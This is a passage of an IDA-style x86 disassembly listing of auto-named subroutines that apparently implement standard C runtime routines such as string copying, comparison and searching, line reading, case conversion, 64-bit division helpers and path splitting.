					; sub_418C10+F4j
		mov	[edi], al
		inc	edi

loc_418C8E:				; CODE XREF: sub_418C10+4Dj
		dec	ebx
		jnz	short loc_418C8B
		pop	ebx
		pop	esi

loc_418C93:				; CODE XREF: sub_418C10+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418C99:				; CODE XREF: sub_418C10+A9j
					; sub_418C10+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418C50

loc_418CA1:				; CODE XREF: sub_418C10+20j
					; sub_418C10+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418C99
		test	dl, dl
		jz	short loc_418CEB
		test	dh, dh
		jz	short loc_418CE1
		test	edx, 0FF0000h
		jz	short loc_418CD7
		test	edx, 0FF000000h
		jnz	short loc_418C99
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CD7:				; CODE XREF: sub_418C10+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CE1:				; CODE XREF: sub_418C10+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_418CEF
; ---------------------------------------------------------------------------

loc_418CEB:				; CODE XREF: sub_418C10+ADj
		xor	edx, edx
		mov	[edi], edx

loc_418CEF:				; CODE XREF: sub_418C10+C5j
					; sub_418C10+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_418D01

loc_418CF7:				; CODE XREF: sub_418C10+79j
		xor	eax, eax

loc_418CF9:				; CODE XREF: sub_418C10+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_418CF9

loc_418D01:				; CODE XREF: sub_418C10+E5j
		and	ebx, 3
		jnz	short loc_418C8B

loc_418D06:				; CODE XREF: sub_418C10+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418C10	endp


; =============== S U B	R O U T	I N E =======================================



sub_418D0E	proc near		; CODE XREF: sub_406C19+2E2p
					; sub_406C19+435p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_418D8A
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_418D2D
		cmp	edi, 1
		jz	short loc_418D2D
		cmp	edi, 2
		jnz	short loc_418D8A

loc_418D2D:				; CODE XREF: sub_418D0E+13j
					; sub_418D0E+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_418D44
		push	esi
		call	sub_41E5B1
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi

loc_418D44:				; CODE XREF: sub_418D0E+27j
		push	esi
		call	sub_41A7D0
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_418D59
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_418D6D
; ---------------------------------------------------------------------------

loc_418D59:				; CODE XREF: sub_418D0E+42j
		test	al, 1
		jz	short loc_418D6D
		test	al, 8
		jz	short loc_418D6D
		test	ah, 4
		jnz	short loc_418D6D
		mov	dword ptr [esi+18h], 200h

loc_418D6D:				; CODE XREF: sub_418D0E+49j
					; sub_418D0E+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_41E517
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D8A:				; CODE XREF: sub_418D0E+Bj
					; sub_418D0E+1Dj
		mov	dword_48A014, 16h
		or	eax, 0FFFFFFFFh

loc_418D97:				; CODE XREF: sub_418D0E+7Aj
		pop	edi
		pop	esi
		retn
sub_418D0E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DA0	proc near		; CODE XREF: sub_406C19+2ACp
					; sub_406C19+2CDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_418DD1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_418DCF
		jz	short loc_418DD1
		dec	ecx
		dec	ecx

loc_418DCF:				; CODE XREF: sub_418DA0+29j
		not	ecx

loc_418DD1:				; CODE XREF: sub_418DA0+9j
					; sub_418DA0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_418DA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418DE0	proc near		; CODE XREF: sub_407110+5Cp
					; sub_407110+9Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_418E94
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_418E0A

loc_418DFB:				; CODE XREF: sub_418DE0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_418E3B
		test	edi, 3
		jnz	short loc_418DFB

loc_418E0A:				; CODE XREF: sub_418DE0+19j
					; sub_418DE0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_418E0A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_418E48
		test	ah, ah
		jz	short loc_418E43
		test	eax, 0FF0000h
		jz	short loc_418E3E
		test	eax, 0FF000000h
		jnz	short loc_418E0A

loc_418E3B:				; CODE XREF: sub_418DE0+20j
		dec	edi
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E3E:				; CODE XREF: sub_418DE0+52j
		sub	edi, 2
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E43:				; CODE XREF: sub_418DE0+4Bj
		sub	edi, 3
		jmp	short loc_418E4B
; ---------------------------------------------------------------------------

loc_418E48:				; CODE XREF: sub_418DE0+47j
		sub	edi, 4

loc_418E4B:				; CODE XREF: sub_418DE0+5Cj
					; sub_418DE0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC
		jmp	short loc_418E7C
; ---------------------------------------------------------------------------

loc_418E60:				; CODE XREF: sub_418DE0+75j
					; sub_418DE0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_418E9A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_418E90
		test	esi, 3
		jnz	short loc_418E60
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418EAC

loc_418E7C:				; CODE XREF: sub_418DE0+7Ej
					; sub_418DE0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_418E90

loc_418E83:				; CODE XREF: sub_418DE0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_418E92
		dec	ecx
		jnz	short loc_418E83

loc_418E90:				; CODE XREF: sub_418DE0+8Bj
					; sub_418DE0+A1j
		mov	[edi], cl

loc_418E92:				; CODE XREF: sub_418DE0+ABj
		pop	ebx
		pop	esi

loc_418E94:				; CODE XREF: sub_418DE0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418E9A:				; CODE XREF: sub_418DE0+85j
					; sub_418DE0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EA4:				; CODE XREF: sub_418DE0+E4j
					; sub_418DE0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418E7C

loc_418EAC:				; CODE XREF: sub_418DE0+7Cj
					; sub_418DE0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_418EA4
		test	dl, dl
		jz	short loc_418E9A
		test	dh, dh
		jz	short loc_418EF8
		test	edx, 0FF0000h
		jz	short loc_418EE8
		test	edx, 0FF000000h
		jnz	short loc_418EA4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EE8:				; CODE XREF: sub_418DE0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_418EF8:				; CODE XREF: sub_418DE0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_418DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418F10	proc near		; CODE XREF: sub_407252+2A2p
					; sub_40EE72+31DDp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_418F31
		xor	eax, eax
		jmp	short loc_418F33
; ---------------------------------------------------------------------------

loc_418F31:				; CODE XREF: sub_418F10+1Bj
		mov	eax, edi

loc_418F33:				; CODE XREF: sub_418F10+1Fj
		cld
		pop	edi
		leave
		retn
sub_418F10	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_418F50

loc_418F40:				; CODE XREF: sub_418F50+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_418F50
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418F50	proc near		; CODE XREF: sub_408C26+DBp
					; sub_40DAF0+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]

loc_418F56:				; CODE XREF: sub_417880+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_418F7B

loc_418F68:				; CODE XREF: sub_418F50+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_418F40
		test	cl, cl
		jz	short loc_418FC4
		test	edx, 3
		jnz	short loc_418F68

loc_418F7B:				; CODE XREF: sub_418F50+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax

loc_418F86:				; CODE XREF: sub_418F50+61j
					; sub_418F50+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_418FC8
		and	eax, 81010100h
		jz	short loc_418F86
		and	eax, 1010100h
		jnz	short loc_418FC2
		and	esi, 80000000h
		jnz	short loc_418F86

loc_418FC2:				; CODE XREF: sub_418F50+68j
					; sub_418F50+81j ...
		pop	esi
		pop	edi

loc_418FC4:				; CODE XREF: sub_418F50+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_418FC8:				; CODE XREF: sub_418F50+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_419005
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FFE
		test	ah, ah
		jz	short loc_418FC2
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_418FF7
		test	al, al
		jz	short loc_418FC2
		cmp	ah, bl
		jz	short loc_418FF0
		test	ah, ah
		jz	short loc_418FC2
		jmp	short loc_418F86
; ---------------------------------------------------------------------------

loc_418FF0:				; CODE XREF: sub_418F50+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418FF7:				; CODE XREF: sub_418F50+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_418FFE:				; CODE XREF: sub_418F50+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_419005:				; CODE XREF: sub_418F50+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_418F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41900C	proc near		; CODE XREF: sub_408C26+AFp
					; sub_40EE72+47F4p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_419020
		xor	eax, eax
		jmp	short loc_419056
; ---------------------------------------------------------------------------

loc_419020:				; CODE XREF: sub_41900C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_419050
		mov	esi, [ebp+arg_8]

loc_419029:				; CODE XREF: sub_41900C+42j
		dec	dword ptr [esi+4]
		js	short loc_419038
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41903F
; ---------------------------------------------------------------------------

loc_419038:				; CODE XREF: sub_41900C+20j
		push	esi
		call	sub_41E248
		pop	ecx

loc_41903F:				; CODE XREF: sub_41900C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41905A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_419050
		dec	[ebp+arg_4]
		jnz	short loc_419029

loc_419050:				; CODE XREF: sub_41900C+18j
					; sub_41900C+3Dj ...
		and	byte ptr [edi],	0

loc_419053:				; CODE XREF: sub_41900C+55j
		mov	eax, ebx
		pop	esi

loc_419056:				; CODE XREF: sub_41900C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41905A:				; CODE XREF: sub_41900C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_419050
		xor	ebx, ebx
		jmp	short loc_419053
sub_41900C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419063	proc near		; CODE XREF: sub_409209+BFp
					; sub_409209+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_48A0A8
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_419097
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_4190FE

loc_41907F:				; CODE XREF: sub_419063+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_419090
		cmp	cl, 7Ah
		jg	short loc_419090
		sub	cl, 20h
		mov	[edx], cl

loc_419090:				; CODE XREF: sub_419063+21j
					; sub_419063+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41907F
		jmp	short loc_4190FE
; ---------------------------------------------------------------------------

loc_419097:				; CODE XREF: sub_419063+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_41E709
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_4190F0
		push	edi
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4190F0
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_4190F0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_4190F0:				; CODE XREF: sub_419063+53j
					; sub_419063+61j ...
		push	[ebp+var_4]
		call	sub_417C3B
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_4190FE:				; CODE XREF: sub_419063+1Aj
					; sub_419063+32j
		pop	ebx
		leave
		retn
sub_419063	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419101	proc near		; CODE XREF: sub_40A951+6p
					; sub_40A96F+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_48A0A8, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41912E
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_4191C7
		cmp	eax, 5Ah
		jg	loc_4191C7
		add	eax, 20h
		jmp	loc_4191C7
; ---------------------------------------------------------------------------

loc_41912E:				; CODE XREF: sub_419101+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_419162
		cmp	dword_4397AC, esi
		jle	short loc_419150
		push	esi
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41915A
; ---------------------------------------------------------------------------

loc_419150:				; CODE XREF: sub_419101+42j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41915A:				; CODE XREF: sub_419101+4Dj
		test	eax, eax
		jnz	short loc_419162

loc_41915E:				; CODE XREF: sub_419101+ADj
		mov	eax, ebx
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------

loc_419162:				; CODE XREF: sub_419101+3Aj
					; sub_419101+5Bj
		mov	edx, off_4395A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419186
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41918F
; ---------------------------------------------------------------------------

loc_419186:				; CODE XREF: sub_419101+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41918F:				; CODE XREF: sub_419101+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41915E
		cmp	eax, esi
		jnz	short loc_4191BA
		movzx	eax, [ebp+var_4]
		jmp	short loc_4191C7
; ---------------------------------------------------------------------------

loc_4191BA:				; CODE XREF: sub_419101+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_4191C7:				; CODE XREF: sub_419101+16j
					; sub_419101+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419101	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4191D0	proc near		; CODE XREF: sub_40B822+3Dp
					; sub_40D01A+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4191F1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_419241
; ---------------------------------------------------------------------------

loc_4191F1:				; CODE XREF: sub_4191D0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_4191FF:				; CODE XREF: sub_4191D0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4191FF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41922A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41922A
		jb	short loc_419232
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_419232

loc_41922A:				; CODE XREF: sub_4191D0+4Aj
					; sub_4191D0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_419232:				; CODE XREF: sub_4191D0+52j
					; sub_4191D0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_419241:				; CODE XREF: sub_4191D0+1Fj
		pop	ebx
		retn	10h
sub_4191D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419250	proc near		; CODE XREF: sub_40B822+24p
					; sub_40D01A+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_419272
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4192B3
; ---------------------------------------------------------------------------

loc_419272:				; CODE XREF: sub_419250+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_419280:				; CODE XREF: sub_419250+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_419280
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4192AE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4192AE
		jb	short loc_4192AF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4192AF

loc_4192AE:				; CODE XREF: sub_419250+4Ej
					; sub_419250+54j
		dec	esi

loc_4192AF:				; CODE XREF: sub_419250+56j
					; sub_419250+5Cj
		xor	edx, edx
		mov	eax, esi

loc_4192B3:				; CODE XREF: sub_419250+20j
		pop	esi
		pop	ebx
		retn	10h
sub_419250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192B8	proc near		; CODE XREF: sub_40B8D8+1E3p
					; ___:0040E7A0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_417AB0
		cmp	eax, 1
		pop	ecx
		jb	short loc_4192F3
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4192F3
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4192EF
		push	2
		push	ebx
		push	esi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_4192EF:				; CODE XREF: sub_4192B8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_4192FD
; ---------------------------------------------------------------------------

loc_4192F3:				; CODE XREF: sub_4192B8+18j
					; sub_4192B8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4192FD
		and	byte ptr [eax],	0

loc_4192FD:				; CODE XREF: sub_4192B8+39j
					; sub_4192B8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_419375

loc_419310:				; CODE XREF: sub_4192B8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_48B561[edx], 4
		jz	short loc_419321
		inc	eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------

loc_419321:				; CODE XREF: sub_4192B8+64j
		cmp	cl, 2Fh
		jz	short loc_419335
		cmp	cl, 5Ch
		jz	short loc_419335
		cmp	cl, 2Eh
		jnz	short loc_41933B
		mov	[ebp+var_4], eax
		jmp	short loc_41933B
; ---------------------------------------------------------------------------

loc_419335:				; CODE XREF: sub_4192B8+6Cj
					; sub_4192B8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41933B:				; CODE XREF: sub_4192B8+67j
					; sub_4192B8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_419310
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_419375
		cmp	[ebp+arg_8], 0
		jz	short loc_419370
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419359
		mov	edi, esi

loc_419359:				; CODE XREF: sub_4192B8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41ED0D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_419370:				; CODE XREF: sub_4192B8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41937F
; ---------------------------------------------------------------------------

loc_419375:				; CODE XREF: sub_4192B8+56j
					; sub_4192B8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41937F
		and	byte ptr [ecx],	0

loc_41937F:				; CODE XREF: sub_4192B8+BBj
					; sub_4192B8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4193D2
		cmp	edi, ebx
		jb	short loc_4193D2
		cmp	[ebp+arg_C], 0
		jz	short loc_4193AF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_419398
		mov	edi, esi

loc_419398:				; CODE XREF: sub_4192B8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41ED0D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_4193AF:				; CODE XREF: sub_4192B8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4193FA
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4193BF
		mov	esi, eax

loc_4193BF:				; CODE XREF: sub_4192B8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D2:				; CODE XREF: sub_4192B8+CCj
					; sub_4192B8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4193F0
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4193E1
		mov	esi, eax

loc_4193E1:				; CODE XREF: sub_4192B8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41ED0D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_4193F0:				; CODE XREF: sub_4192B8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4193FA
		and	byte ptr [eax],	0

loc_4193FA:				; CODE XREF: sub_4192B8+FCj
					; sub_4192B8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193FF	proc near		; CODE XREF: sub_40BFE1+19p
					; sub_40D633+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41943D
